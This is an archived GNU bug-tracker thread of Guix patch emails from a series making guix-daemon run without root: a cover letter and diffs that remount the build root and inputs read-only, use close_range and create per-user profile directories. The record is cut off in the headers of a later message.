Received: from localhost ([127.0.0.1]:56675 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1tlSkq-0005Z5-3e
	for submit <at> debbugs.gnu.org; Fri, 21 Feb 2025 08:07:46 -0500
Received: from eggs.gnu.org ([2001:470:142:3::10]:48282)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.84_2) (envelope-from <ludo@HIDDEN>) id 1tlSjr-0005No-NE
 for 75810 <at> debbugs.gnu.org; Fri, 21 Feb 2025 08:06:49 -0500
Received: from fencepost.gnu.org ([2001:470:142:3::e])
 by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.90_1) (envelope-from <ludo@HIDDEN>)
 id 1tlSjm-0004Yp-7F; Fri, 21 Feb 2025 08:06:38 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=gnu.org;
 s=fencepost-gnu-org; h=MIME-Version:References:In-Reply-To:Date:Subject:To:
 From; bh=VRbaQkpHuujQuVs9fnXsFpQvamzXpEoyOQmUI3kKkJU=; b=dKDJ0U0xZVmzw0RV3sTS
 HqTzTYj+DkTY3554MBgb90Yq2uCTFaKBNOmy1Fvk4IFlekW2tmzco+7ErZiynwIXeWLoxDVLUg1Zh
 9iPDaaDy761EzYvHA95e3787leu9S33EnVUh8ReMbUVn6GK6Trm8dv/Q6hP7VUl0+qkvJlJ8kazp2
 5XaxreDXZagCkWMUdW7ZljxXoEaZJVHLVsnYNIi3IL/9Syedc2DTLQQQQMA+eeAl3m4jClq/Xpe3s
 krjZGkfyhqf1VEjrgYL0TQXnF4u+qzLDsXZiZomdqyova8+HqPjLsvkAecFYuVFeRJrMySvjtRfOM
 NtFhRhNYhuWtfg==;
From: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
To: 75810 <at> debbugs.gnu.org
Subject: [PATCH v3 04/11] daemon: Remount root directory as read-only.
Date: Fri, 21 Feb 2025 14:05:52 +0100
Message-ID: <6272a7109a276d4ffa5cdd8b218b3233aaade5f5.1740142328.git.ludo@HIDDEN>
X-Mailer: git-send-email 2.48.1
In-Reply-To: <cover.1740142328.git.ludo@HIDDEN>
References: <cover.1740142328.git.ludo@HIDDEN>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Spam-Score: -2.3 (--)
X-Debbugs-Envelope-To: 75810
Cc: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: -3.3 (---)

* nix/libstore/build.cc (DerivationGoal::runChild): Bind-mount the store
and /tmp under ‘chrootRootDir’ to themselves as read-write.
Remount / as read-only.

Change-Id: I79565094c8ec8448401897c720aad75304fd1948
---
 nix/libstore/build.cc | 16 ++++++++++++++++
 1 file changed, 16 insertions(+)

diff --git a/nix/libstore/build.cc b/nix/libstore/build.cc
index 6244c99e751..c87f4f767c5 100644
--- a/nix/libstore/build.cc
+++ b/nix/libstore/build.cc
@@ -2078,6 +2078,18 @@ void DerivationGoal::runChild()
 
             for (auto & i : ss) dirsInChroot[i] = i;
 
+	    /* Make new mounts for the store and for /tmp.  That way, when
+	       'chrootRootDir' is made read-only below, these two mounts will
+	       remain writable (the store needs to be writable so derivation
+	       outputs can be written to it, and /tmp is writable by
+	       convention).  */
+	    auto chrootStoreDir = chrootRootDir + settings.nixStore;
+	    if (mount(chrootStoreDir.c_str(), chrootStoreDir.c_str(), 0, MS_BIND, 0) == -1)
+                throw SysError(format("read-write mount of store '%1%' failed") % chrootStoreDir);
+	    auto chrootTmpDir = chrootRootDir + "/tmp";
+	    if (mount(chrootTmpDir.c_str(), chrootTmpDir.c_str(), 0, MS_BIND, 0) == -1)
+                throw SysError(format("read-write mount of temporary directory '%1%' failed") % chrootTmpDir);
+
             /* Bind-mount all the directories from the "host"
                filesystem that we want in the chroot
                environment. */
@@ -2151,6 +2163,10 @@ void DerivationGoal::runChild()
 
             if (rmdir("real-root") == -1)
                 throw SysError("cannot remove real-root directory");
+
+	    /* Remount root as read-only.  */
+            if (mount("/", "/", 0, MS_BIND | MS_REMOUNT | MS_RDONLY, 0) == -1)
+                throw SysError(format("read-only remount of build root '%1%' failed") % chrootRootDir);
         }
 #endif
 
-- 
2.48.1





Information forwarded to guix-patches@HIDDEN:
bug#75810; Package guix-patches. Full text available.

Message received at 75810 <at> debbugs.gnu.org:


Received: (at 75810) by debbugs.gnu.org; 21 Feb 2025 13:07:44 +0000
From debbugs-submit-bounces <at> debbugs.gnu.org Fri Feb 21 08:07:44 2025
Received: from localhost ([127.0.0.1]:56673 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1tlSkn-0005Ye-QL
	for submit <at> debbugs.gnu.org; Fri, 21 Feb 2025 08:07:43 -0500
Received: from eggs.gnu.org ([2001:470:142:3::10]:48276)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.84_2) (envelope-from <ludo@HIDDEN>) id 1tlSjp-0005NF-Ey
 for 75810 <at> debbugs.gnu.org; Fri, 21 Feb 2025 08:06:46 -0500
Received: from fencepost.gnu.org ([2001:470:142:3::e])
 by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.90_1) (envelope-from <ludo@HIDDEN>)
 id 1tlSjj-0004Y4-2y; Fri, 21 Feb 2025 08:06:35 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=gnu.org;
 s=fencepost-gnu-org; h=MIME-Version:References:In-Reply-To:Date:Subject:To:
 From; bh=G7Jx1/74uyahpmNN6NOOyHz1Zj53iERfANavhA6dHdE=; b=aHpHVyGtVmH3uhPTi7qz
 tnA+Ktpn0x6MnFWexd6kGAfCOfj3YW5s9Vd40ulEX33pXEudpuPI4df1CyJc+oEujxhL6fplnIBL6
 dqHYXvMO46Dom+VhYnXq7k5TS7t3JhNqyIZOFhHYprmnGRzIXngx7UKGi7JnKPB78Efjy+IBlDuEP
 8Oa+44VDYw7pmoyW4Cn40Hcm5YPXPUS8o4Ny1sfttYx38Jl4matq13vXJw9tLM2QU11omhs8ZNy30
 5VQL15slVibAWblv8xxh6TRRXLIRKF4NCeZxhw7nuunVapen/ssBsm5acstlBbM+f/MUiaCgViNtl
 CO5OjBuHyDdiDw==;
From: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
To: 75810 <at> debbugs.gnu.org
Subject: [PATCH v3 02/11] daemon: Bind-mount all the inputs,
 not just directories.
Date: Fri, 21 Feb 2025 14:05:50 +0100
Message-ID: <9819a4edaacbd5ed8d56094d6bb602f90f535be6.1740142328.git.ludo@HIDDEN>
X-Mailer: git-send-email 2.48.1
In-Reply-To: <cover.1740142328.git.ludo@HIDDEN>
References: <cover.1740142328.git.ludo@HIDDEN>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Spam-Score: -2.3 (--)
X-Debbugs-Envelope-To: 75810
Cc: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>,
 Reepca Russelstein <reepca@HIDDEN>
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: -3.3 (---)

* nix/libstore/build.cc (DerivationGoal::startBuilder): Add all of
‘inputPaths’ to ‘dirsInChroot’ instead of hard-linking regular files.

Reported-by: Reepca Russelstein <reepca@HIDDEN>
Change-Id: I070987f92d73f187f7826a975bee9ee309d67f56
---
 nix/libstore/build.cc | 27 ++-------------------------
 1 file changed, 2 insertions(+), 25 deletions(-)

diff --git a/nix/libstore/build.cc b/nix/libstore/build.cc
index edd01bab34d..f4cd2131c84 100644
--- a/nix/libstore/build.cc
+++ b/nix/libstore/build.cc
@@ -1850,9 +1850,7 @@ void DerivationGoal::startBuilder()
 
         /* Make the closure of the inputs available in the chroot,
            rather than the whole store.  This prevents any access
-           to undeclared dependencies.  Directories are bind-mounted,
-           while other inputs are hard-linked (since only directories
-           can be bind-mounted).  !!! As an extra security
+           to undeclared dependencies.  !!! As an extra security
            precaution, make the fake store only writable by the
            build user. */
         Path chrootStoreDir = chrootRootDir + settings.nixStore;
@@ -1863,28 +1861,7 @@ void DerivationGoal::startBuilder()
             throw SysError(format("cannot change ownership of ‘%1%’") % chrootStoreDir);
 
         foreach (PathSet::iterator, i, inputPaths) {
-            struct stat st;
-            if (lstat(i->c_str(), &st))
-                throw SysError(format("getting attributes of path `%1%'") % *i);
-            if (S_ISDIR(st.st_mode))
-                dirsInChroot[*i] = *i;
-            else {
-                Path p = chrootRootDir + *i;
-                if (link(i->c_str(), p.c_str()) == -1) {
-                    /* Hard-linking fails if we exceed the maximum
-                       link count on a file (e.g. 32000 of ext3),
-                       which is quite possible after a `nix-store
-                       --optimise'. */
-                    if (errno != EMLINK)
-                        throw SysError(format("linking `%1%' to `%2%'") % p % *i);
-                    StringSink sink;
-                    dumpPath(*i, sink);
-                    StringSource source(sink.s);
-                    restorePath(p, source);
-                }
-
-                regularInputPaths.insert(*i);
-            }
+	    dirsInChroot[*i] = *i;
         }
 
         /* If we're repairing, checking or rebuilding part of a
-- 
2.48.1





Information forwarded to guix-patches@HIDDEN:
bug#75810; Package guix-patches. Full text available.

Message received at 75810 <at> debbugs.gnu.org:


Received: (at 75810) by debbugs.gnu.org; 21 Feb 2025 13:07:42 +0000
From debbugs-submit-bounces <at> debbugs.gnu.org Fri Feb 21 08:07:41 2025
Received: from localhost ([127.0.0.1]:56671 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1tlSkl-0005YG-JD
	for submit <at> debbugs.gnu.org; Fri, 21 Feb 2025 08:07:41 -0500
Received: from eggs.gnu.org ([2001:470:142:3::10]:60052)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.84_2) (envelope-from <ludo@HIDDEN>) id 1tlSjx-0005Ov-DA
 for 75810 <at> debbugs.gnu.org; Fri, 21 Feb 2025 08:06:54 -0500
Received: from fencepost.gnu.org ([2001:470:142:3::e])
 by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.90_1) (envelope-from <ludo@HIDDEN>)
 id 1tlSjr-0004ZO-MD; Fri, 21 Feb 2025 08:06:43 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=gnu.org;
 s=fencepost-gnu-org; h=MIME-Version:References:In-Reply-To:Date:Subject:To:
 From; bh=Zsh2zvgPChPdygWDGttbjWAWpTHmsPY3r3V/6RFHAxg=; b=CQm+Lb8jxciD4Z5quqVJ
 C5g/T4kY8MF9sUmMO1mZm7OLhFZOLaZZiG6+XdmfwxhUzEA41OXA10F+rPBQtMaXmMnB11J0QBuWx
 1cGb2hTK0xivL3sTvuC8pxjw6SrknC4viATybu2ZkLmkkotZYgDtEpwpAVlj6zNv/qJzVvQ3rKKkX
 aUFrivFux6mCljxfZQZJPgRZhFINqoTmWoVcLJ3PuDuTQgiSCWWKmxZGUL9+J4YnJkDEYyWSSvtYc
 2F7nxQtnkB4Fay8H9G+SedxO292WORQl89eAc2yDNagHILPq//YQF4HEPPmT2DgngaBp7dCvyo7FR
 c16JjungyqlYZg==;
From: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
To: 75810 <at> debbugs.gnu.org
Subject: [PATCH v3 07/11] daemon: Create /var/guix/profiles/per-user
 unconditionally.
Date: Fri, 21 Feb 2025 14:05:55 +0100
Message-ID: <42766ef6f8486fd4e25a5f211883934a7bdb5256.1740142328.git.ludo@HIDDEN>
X-Mailer: git-send-email 2.48.1
In-Reply-To: <cover.1740142328.git.ludo@HIDDEN>
References: <cover.1740142328.git.ludo@HIDDEN>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Spam-Score: -2.3 (--)
X-Debbugs-Envelope-To: 75810
Cc: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: -3.3 (---)

* nix/libstore/local-store.cc (LocalStore::LocalStore): Create
‘perUserDir’ unconditionally.

Change-Id: I5188320f9630a81d16f79212d0fffabd55d94abe
---
 nix/libstore/local-store.cc | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/nix/libstore/local-store.cc b/nix/libstore/local-store.cc
index 4308264a4f3..63846695194 100644
--- a/nix/libstore/local-store.cc
+++ b/nix/libstore/local-store.cc
@@ -79,12 +79,12 @@ LocalStore::LocalStore(bool reserveSpace)
         createSymlink(profilesDir, gcRootsDir + "/profiles");
     }
 
-    /* Optionally, create directories and set permissions for a
-       multi-user install. */
+    Path perUserDir = profilesDir + "/per-user";
+    createDirs(perUserDir);
+
+    /* Optionally, set permissions for a multi-user install.  */
     if (getuid() == 0 && settings.buildUsersGroup != "") {
 
-        Path perUserDir = profilesDir + "/per-user";
-        createDirs(perUserDir);
         if (chmod(perUserDir.c_str(), 0755) == -1)
             throw SysError(format("could not set permissions on '%1%' to 755")
                            % perUserDir);
-- 
2.48.1





Information forwarded to guix-patches@HIDDEN:
bug#75810; Package guix-patches. Full text available.

Message received at 75810 <at> debbugs.gnu.org:


Received: (at 75810) by debbugs.gnu.org; 21 Feb 2025 13:07:03 +0000
From debbugs-submit-bounces <at> debbugs.gnu.org Fri Feb 21 08:07:01 2025
Received: from localhost ([127.0.0.1]:56656 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1tlSjw-0005Pg-Ns
	for submit <at> debbugs.gnu.org; Fri, 21 Feb 2025 08:07:01 -0500
Received: from eggs.gnu.org ([2001:470:142:3::10]:48260)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.84_2) (envelope-from <ludo@HIDDEN>) id 1tlSjn-0005Mw-B5
 for 75810 <at> debbugs.gnu.org; Fri, 21 Feb 2025 08:06:43 -0500
Received: from fencepost.gnu.org ([2001:470:142:3::e])
 by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.90_1) (envelope-from <ludo@HIDDEN>)
 id 1tlSjg-0004Xo-6E; Fri, 21 Feb 2025 08:06:32 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=gnu.org;
 s=fencepost-gnu-org; h=MIME-Version:Date:Subject:To:From:in-reply-to:
 references; bh=FLgFZ91ZIbk+/ybIGvHytOF4LNHGgU0XyA12luQqJT8=; b=igemvpQq642Lm3
 Z4vigLUyM2kfDBEpo1GIGyy9JhyEqcj9xpivy3fuWxQjYdSVlDR6j3tB8/IhjW9l/GE3rdhBP04cX
 QZKix/bSfW7iWWVn8Cr5PT/D5WT/5WPLN4PWdkzz1Ci6otfy2jV7tuhJltG1Kbh4tt0KdW43SryTV
 3wBKpLOPUMHIK28Wv52gyr7bwNmXn3+9C5jTKsG6iPpkBEukmuNWIICe7YIQNHdWES7IzXpq7kim0
 yyJ/fGIlvwDdd7U01t/n9qh9oIjbC+xNa6xhQFC+FJ4u6DOVWwbp4A43OQgqdiP8v4U+f64xr8Dwl
 q3jIadW+kUdJL1k0zbYQ==;
From: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
To: 75810 <at> debbugs.gnu.org
Subject: [PATCH v3 00/11] Rootless guix-daemon
Date: Fri, 21 Feb 2025 14:05:48 +0100
Message-ID: <cover.1740142328.git.ludo@HIDDEN>
X-Mailer: git-send-email 2.48.1
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Spam-Score: -2.3 (--)
X-Debbugs-Envelope-To: 75810
Cc: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>,
 Reepca Russelstein <reepca@HIDDEN>
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: -3.3 (---)

Hello!

Here’s an updated version, addressing most issues brought up
by Reepca, also available from
<https://codeberg.org/civodul/guix/src/branch/wip-rootless-daemon>.
Main changes compared to v2:

  • Derivation inputs and / are mounted read-only; additional
    tests check the ability to write to these, to /tmp, to
    /dev/{full,null}, and to remount any of these as read-write.

  • Unit files for systemd tweaked so that (1) guix-daemon sees
    a private read-write mount of the store, and (2) gnu-store.mount
    actually remounts the store read-only after guix-daemon has
    started.

  • ‘DerivationGoal::deleteTmpDir’ bails out when it fails to
    chown ‘tmpDir’ (i.e., it does not try to “pivot” the /top
    sub-directory).

Did I forget anything, Reepca?

The one observable difference compared to current guix-daemon
operational mode is that, in the build environment, writing to
the root file system results in EROFS instead of EPERM, as you
pointed out earlier.  That’s not great but probably acceptable.
We’ll only know whether this is a problem in practice once we’ve
run the test suites of tens of thousands of packages.

I tested this patch series by:

  • running ‘make check’;

  • manually running ‘guix-install.sh’ in a Debian VM, as
    explained before.

Next up:

  • automating ‘guix-install.sh’ VM tests;

  • updating ‘guix-service-type’ to optionally support
    unprivileged guix-daemon.

I think these two bits can come later though.

Thoughts?

Ludo’.

Ludovic Courtès (11):
  daemon: Use ‘close_range’ where available.
  daemon: Bind-mount all the inputs, not just directories.
  daemon: Remount inputs as read-only.
  daemon: Remount root directory as read-only.
  daemon: Allow running as non-root with unprivileged user namespaces.
  tests: Run in a chroot and unprivileged user namespaces.
  daemon: Create /var/guix/profiles/per-user unconditionally.
  daemon: Drop Linux ambient capabilities before executing builder.
  daemon: Move comments where they belong.
  etc: systemd services: Run ‘guix-daemon’ as an unprivileged user.
  guix-install.sh: Support the unprivileged daemon where possible.

 build-aux/test-env.in       |  14 ++-
 config-daemon.ac            |   5 +-
 etc/gnu-store.mount.in      |   3 +-
 etc/guix-daemon.service.in  |  20 +++-
 etc/guix-install.sh         | 108 ++++++++++++++----
 guix/substitutes.scm        |   4 +-
 nix/libstore/build.cc       | 219 ++++++++++++++++++++++++++----------
 nix/libstore/local-store.cc |  30 +++--
 nix/libutil/util.cc         |  23 +++-
 tests/processes.scm         |   9 +-
 tests/store.scm             | 206 +++++++++++++++++++++++++++------
 11 files changed, 494 insertions(+), 147 deletions(-)


base-commit: 00787cd61611d74d3e54b160e94176905d36ef39
-- 
2.48.1





Information forwarded to guix-patches@HIDDEN:
bug#75810; Package guix-patches. Full text available.

Message received at 75810 <at> debbugs.gnu.org:


Received: (at 75810) by debbugs.gnu.org; 21 Feb 2025 13:06:49 +0000
From debbugs-submit-bounces <at> debbugs.gnu.org Fri Feb 21 08:06:48 2025
Received: from localhost ([127.0.0.1]:56650 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1tlSjt-0005P9-Fb
	for submit <at> debbugs.gnu.org; Fri, 21 Feb 2025 08:06:48 -0500
Received: from eggs.gnu.org ([2001:470:142:3::10]:48270)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.84_2) (envelope-from <ludo@HIDDEN>) id 1tlSjn-0005Mz-H4
 for 75810 <at> debbugs.gnu.org; Fri, 21 Feb 2025 08:06:42 -0500
Received: from fencepost.gnu.org ([2001:470:142:3::e])
 by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.90_1) (envelope-from <ludo@HIDDEN>)
 id 1tlSji-0004Xu-48; Fri, 21 Feb 2025 08:06:34 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=gnu.org;
 s=fencepost-gnu-org; h=MIME-Version:References:In-Reply-To:Date:Subject:To:
 From; bh=0izMrOHlIq4NgLJJUeAlULEe8K+llpxfq6yctCHxero=; b=Fa8qHsdqYlC7tXaei7fh
 HJkYfqgSo7cMjdX9ShO89w2HV6D7Or4tuijB4swhy5hb2as9sTlJtlqmf7wyvZh4hhHtKtFXfWru0
 gsY8dZYRqK/ebFoVzFWKyvwseHIl/pUnwkMQkRc3fVRPGG6NPHtA7lSO7d55QPqvEOzv1P5AZAojX
 3qHiRnL4hSjZnAoBIrZYfkdoFLOyNaZ/athRYxgP17f57Cv7M1ynLqW0wuDplLeXDfLrkjbfgZlBE
 0xfvAthaO3TQPkzCzYWvayQFtC5YH5iOQtQfYl7Q9LJu4APMrnmUr6ZaoFEOIO0z3c99ACU/gpBRF
 x12HDkMz/EeGBw==;
From: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
To: 75810 <at> debbugs.gnu.org
Subject: [PATCH v3 01/11] =?UTF-8?q?daemon:=20Use=20=E2=80=98close=5Frange?=
 =?UTF-8?q?=E2=80=99=20where=20available.?=
Date: Fri, 21 Feb 2025 14:05:49 +0100
Message-ID: <47cd29cc645e87a85536da2d6edc676744c58cd5.1740142328.git.ludo@HIDDEN>
X-Mailer: git-send-email 2.48.1
In-Reply-To: <cover.1740142328.git.ludo@HIDDEN>
References: <cover.1740142328.git.ludo@HIDDEN>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Spam-Score: -2.3 (--)
X-Debbugs-Envelope-To: 75810
Cc: =?UTF-8?q?Ludovic=20Court=C3=A8s?= <ludo@HIDDEN>
X-BeenThere: debbugs-submit <at> debbugs.gnu.org
X-Mailman-Version: 2.1.18
Precedence: list
List-Id: <debbugs-submit.debbugs.gnu.org>
List-Unsubscribe: <https://debbugs.gnu.org/cgi-bin/mailman/options/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=unsubscribe>
List-Archive: <https://debbugs.gnu.org/cgi-bin/mailman/private/debbugs-submit/>
List-Post: <mailto:debbugs-submit <at> debbugs.gnu.org>
List-Help: <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=help>
List-Subscribe: <https://debbugs.gnu.org/cgi-bin/mailman/listinfo/debbugs-submit>, 
 <mailto:debbugs-submit-request <at> debbugs.gnu.org?subject=subscribe>
Errors-To: debbugs-submit-bounces <at> debbugs.gnu.org
Sender: "Debbugs-submit" <debbugs-submit-bounces <at> debbugs.gnu.org>
X-Spam-Score: -3.3 (---)

* nix/libutil/util.cc (closeMostFDs) [HAVE_CLOSE_RANGE]: Use
‘close_range’ when ‘exceptions’ is empty.
* config-daemon.ac: Check for <linux/close_range.h> and the
‘close_range’ symbol.

Change-Id: I12fa3bde58b003fcce5ea5a1fee1dcf9a92c0359
---
 config-daemon.ac    |  5 +++--
 nix/libutil/util.cc | 23 +++++++++++++++++------
 2 files changed, 20 insertions(+), 8 deletions(-)

diff --git a/config-daemon.ac b/config-daemon.ac
index 6731c68bc39..4e949bc88a3 100644
--- a/config-daemon.ac
+++ b/config-daemon.ac
@@ -78,7 +78,8 @@ if test "x$guix_build_daemon" = "xyes"; then
 
   dnl Chroot support.
   AC_CHECK_FUNCS([chroot unshare])
-  AC_CHECK_HEADERS([sched.h sys/param.h sys/mount.h sys/syscall.h])
+  AC_CHECK_HEADERS([sched.h sys/param.h sys/mount.h sys/syscall.h \
+    linux/close_range.h])
 
   if test "x$ac_cv_func_chroot" != "xyes"; then
     AC_MSG_ERROR(['chroot' function missing, bailing out])
@@ -95,7 +96,7 @@ if test "x$guix_build_daemon" = "xyes"; then
   dnl strsignal: for error reporting.
   dnl statx: fine-grain 'stat' call, new in glibc 2.28.
   AC_CHECK_FUNCS([lutimes lchown posix_fallocate sched_setaffinity \
-     statvfs nanosleep strsignal statx])
+     statvfs nanosleep strsignal statx close_range])
 
   dnl Check for <locale>.
   AC_LANG_PUSH(C++)
diff --git a/nix/libutil/util.cc b/nix/libutil/util.cc
index 3206dea11b1..eb2d16e1cc3 100644
--- a/nix/libutil/util.cc
+++ b/nix/libutil/util.cc
@@ -23,6 +23,10 @@
 #include <sys/prctl.h>
 #endif
 
+#ifdef HAVE_LINUX_CLOSE_RANGE_H
+# include <linux/close_range.h>
+#endif
+
 
 extern char * * environ;
 
@@ -1087,12 +1091,19 @@ string runProgram(Path program, bool searchPath, const Strings & args)
 
 void closeMostFDs(const set<int> & exceptions)
 {
-    int maxFD = 0;
-    maxFD = sysconf(_SC_OPEN_MAX);
-    for (int fd = 0; fd < maxFD; ++fd)
-        if (fd != STDIN_FILENO && fd != STDOUT_FILENO && fd != STDERR_FILENO
-            && exceptions.find(fd) == exceptions.end())
-            close(fd); /* ignore result */
+#ifdef HAVE_CLOSE_RANGE
+    if (exceptions.empty())
+	 close_range(3, ~0U, 0);
+    else
+#endif
+    {
+	 int maxFD = 0;
+	 maxFD = sysconf(_SC_OPEN_MAX);
+	 for (int fd = 0; fd < maxFD; ++fd)
+	      if (fd != STDIN_FILENO && fd != STDOUT_FILENO && fd != STDERR_FILENO
+		  && exceptions.find(fd) == exceptions.end())
+		   close(fd); /* ignore result */
+    }
 }
 
 
-- 
2.48.1





Information forwarded to guix-patches@HIDDEN:
bug#75810; Package guix-patches. Full text available.

Message received at 75810 <at> debbugs.gnu.org:


Received: (at 75810) by debbugs.gnu.org; 17 Feb 2025 16:52:45 +0000
From debbugs-submit-bounces <at> debbugs.gnu.org Mon Feb 17 11:52:44 2025
Received: from localhost ([127.0.0.1]:48149 helo=debbugs.gnu.org)
	by debbugs.gnu.org with esmtp (Exim 4.84_2)
	(envelope-from <debbugs-submit-bounces <at> debbugs.gnu.org>)
	id 1tk4MO-0003sU-Do
	for submit <at> debbugs.gnu.org; Mon, 17 Feb 2025 11:52:44 -0500
Received: from mail2-relais-roc.national.inria.fr ([192.134.164.83]:55934)
 by debbugs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256)
 (Exim 4.84_2) (envelope-from <ludovic.courtes@HIDDEN>)
